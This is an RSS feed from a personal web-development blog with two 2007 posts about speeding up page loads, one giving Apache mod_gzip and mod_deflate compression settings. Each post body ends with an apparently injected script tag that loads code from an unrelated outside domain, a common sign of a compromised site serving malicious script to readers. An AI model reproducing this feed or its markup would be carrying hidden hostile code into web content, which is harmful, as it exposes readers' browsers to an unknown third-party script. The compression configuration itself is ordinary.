<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>headphono.us &#187; Optimization</title>
	<atom:link href="http://headphono.us/category/webdevelopment/optimization/feed/" rel="self" type="application/rss+xml" />
	<link>http://headphono.us</link>
	<description>Pras Sarkar blogs about web technology, music, social networks, digital identities and other random things.</description>
	<lastBuildDate>Sat, 08 May 2010 17:42:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to load your site faster: HTTP Compression</title>
		<link>http://headphono.us/2007/05/07/how-to-load-your-site-faster-http-compression/</link>
		<comments>http://headphono.us/2007/05/07/how-to-load-your-site-faster-http-compression/#comments</comments>
		<pubDate>Tue, 08 May 2007 04:49:56 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=27</guid>
		<description><![CDATA[In this series, we take a look at how to reduce load times across your site. The first part of the series tackles one of the most important techniques which usually proves to drastically reduce your load times. Usually it&#8217;s not enough to use HTTP Compression alone (best results when coupled with smart caching), but [...]]]></description>
			<content:encoded><![CDATA[<p>In this series, we take a look at how to reduce load times across your site. The first part of the series tackles one of the most important techniques which usually proves to drastically reduce your load times. Usually it&#8217;s not enough to use HTTP Compression alone (best results when coupled with smart caching), but I&#8217;ve seen anywhere between 40%-80% speed increases.</p>
<p><span id="more-27"></span></p>
<p>So how is it done? Well, two different ways, depending on your Apache version and configuration options. To check what version you&#8217;re running (for the folks who use a hosted solution), try this on any unix shell:</p>
<p><code>$&gt; curl -I http://headphono.us<br />
HTTP/1.1 200 OK<br />
Date: Wed, 02 May 2007 02:49:22 GMT<br />
Server: Apache/1.3.37 (Unix) mod_throttle/3.1.2 DAV/1.0.3 mod_fastcgi/2.4.2 mod_gzip/1.3.26.1a PHP/4.4.4 mod_ssl/2.8.22 OpenSSL/0.9.7e<br />
X-Pingback: http://headphono.us/xmlrpc.php<br />
X-Powered-By: PHP/5.2.1<br />
Content-Type: text/html; charset="UTF-8"</code></p>
<p>As you can see, I&#8217;m using Apache 1.3.37 (yes, thats a very 1337 version). You can also see that my Apache has been compiled using mod_gzip &#8212; which is exactly what I need. Follow the directions below depending on the version you&#8217;re running.</p>
<p>If you&#8217;re using <strong>Apache 1.3</strong>, you&#8217;ll need <strong>mod_gzip</strong>. I won&#8217;t get into the process of recompiling/installing Apache with mod_gzip, but look around and you&#8217;ll find lots of places that explain it. From this point on, I&#8217;m assuming you have mod_gzip already.</p>
<p>You&#8217;ll want to edit either the .htaccess file (per directory on your server) or the httpd.conf file for a global Apache configuration. I usually like to edit my .htaccess files so that I can move my directories across servers and they maintain the compression settings.</p>
<p>The following explicitly states the following:</p>
<ul>
<li>All text files (text/css, text/javascript, text/html, etc.) will be compressed.</li>
<li>All javascript application files (that aren&#8217;t text/javascript) will also be compressed.</li>
<li>All images (which are usually compressed already) need not be compressed.</li>
<li>All PDF documents need not be compressed.</li>
</ul>
<p><code>mod_gzip_item_include mime ^text/.*<br />
mod_gzip_item_include mime ^application/x-javascript$<br />
mod_gzip_item_exclude mime ^image/.*$<br />
mod_gzip_item_exclude mime ^application/pdf$</code></p>
<p>If you&#8217;re using <strong>Apache 2.x</strong>, you&#8217;ll need to use <strong>mod_deflate</strong>. Again, I won&#8217;t get into the complexities of recompiling Apache with mod_deflate (<a href="http://www.webperformance.org/compression/deflate-compress.html">see here for that info</a>).</p>
<p>To turn on mod_deflate:</p>
<p><code>SetOutputFilter DEFLATE</code></p>
<p>To explicitly exclude files from being gzipped, add the following for every type of file you want to exclude:</p>
<p><code>SetEnvIfNoCase Request_URI \.(?:gif|jpe?g|png)$ no-gzip dont-vary<br />
SetEnvIfNoCase Request_URI \.(?:exe|t?gz|zip|bz2|sit|rar)$ no-gzip dont-vary<br />
SetEnvIfNoCase Request_URI \.pdf$ no-gzip dont-vary</code></p>
<p>But if you want to explicitly include the files:</p>
<p><code>AddOutputFilterByType DEFLATE text/*<br />
AddOutputFilterByType DEFLATE application/ms* application/vnd* application/postscript</code></p>
<p>You can even turn on gzip compression for certain directories:</p>
<p><code><directory><br />
AddEncoding x-gzip .gz<br />
AddType application/x-javascript .gz<br />
AddOutputFilter DEFLATE js<br />
</directory></code></p>
<p>So only javascript files in the subdirectory &#8220;js&#8221; would be compressed.</p>
<p>Now if you wanted to get real funky (and you should), you&#8217;ll want to be aware and compress according to the browser clients that can handle HTTP compression. You can tweak compression by limiting them to certain browsers:</p>
<p><code># Netscape 4.x has some problems...<br />
BrowserMatch ^Mozilla/4 gzip-only-text/html</p>
<p># Netscape 4.06-4.08 have some more problems<br />
BrowserMatch ^Mozilla/4\.0[678] no-gzip</p>
<p># MSIE masquerades as Netscape, but it is fine<br />
# BrowserMatch \bMSIE !no-gzip !gzip-only-text/html</p>
<p># NOTE: Due to a bug in mod_setenvif up to Apache 2.0.48<br />
# the above regex won't work. You can use the following<br />
# workaround to get the desired effect:<br />
BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html</code></p>
<p>This should be a pretty basic (if very brief) introduction to HTTP compression. I highly suggest the further reading below, and really fine tuning your Apache settings to get the best results. Using Firefox plugins like <a href="http://www.getfirebug.com/">Firebug</a> also help analyze and debug your settings to make sure your gzip compression is working and is being effective.</p>
<p>Further reading:</p>
<ul>
<li><a href="http://www-128.ibm.com/developerworks/web/library/wa-httpcomp/">Speed Web delivery with HTTP compression</a></li>
<li><a href="http://www.webperformance.org/compression/">WebPerformance Web Compression Library</a></li>
<li><a href="http://httpd.apache.org/docs/2.0/mod/mod_deflate.html">Apache 2.x mod_deflate documentation</a></li>
</ul>
<p>Next up: Application level caching (PHP)<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/05/07/how-to-load-your-site-faster-http-compression/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to load your site faster: Introduction</title>
		<link>http://headphono.us/2007/04/29/how-to-load-your-site-faster-introduction/</link>
		<comments>http://headphono.us/2007/04/29/how-to-load-your-site-faster-introduction/#comments</comments>
		<pubDate>Mon, 30 Apr 2007 04:00:46 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=26</guid>
		<description><![CDATA[Given my recent obsession with optimizing website load times recently, I felt the need to share my research findings. There are more ways than flavors at a gellato store, but fear not, I&#8217;ll try to condense them into a consumable chunk in the next few series of posts.
Here&#8217;s a rough breakdown of what I intend [...]]]></description>
			<content:encoded><![CDATA[<p>Given my recent obsession with optimizing website load times recently, I felt the need to share my research findings. There are more ways than flavors at a gellato store, but fear not, I&#8217;ll try to condense them into a consumable chunk in the next few series of posts.</p>
<p>Here&#8217;s a rough breakdown of what I intend to explore:</p>
<ol>
<li>HTTP Compression</li>
<li>Application level caching (PHP)</li>
<li>Client side requests optimization</li>
<li>Non-vital scripts optimization</li>
<li>Client side caching (i.e. browser caching)</li>
</ol>
<p>There&#8217;s a lot of neat tips and tricks out there, and I&#8217;ll try to post as much code and/or scripts that I can. I&#8217;ve used tactics from all the above topics in real world applications that I&#8217;ve been developing and the results have been very encouraging. On one particular site, using a combination of #1,#2 and #3, I went from an initial load time of 3.6 secs to 455ms (87% decrease).</p>
<p>Stay tuned for some good stuff.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/04/29/how-to-load-your-site-faster-introduction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.717 seconds -->
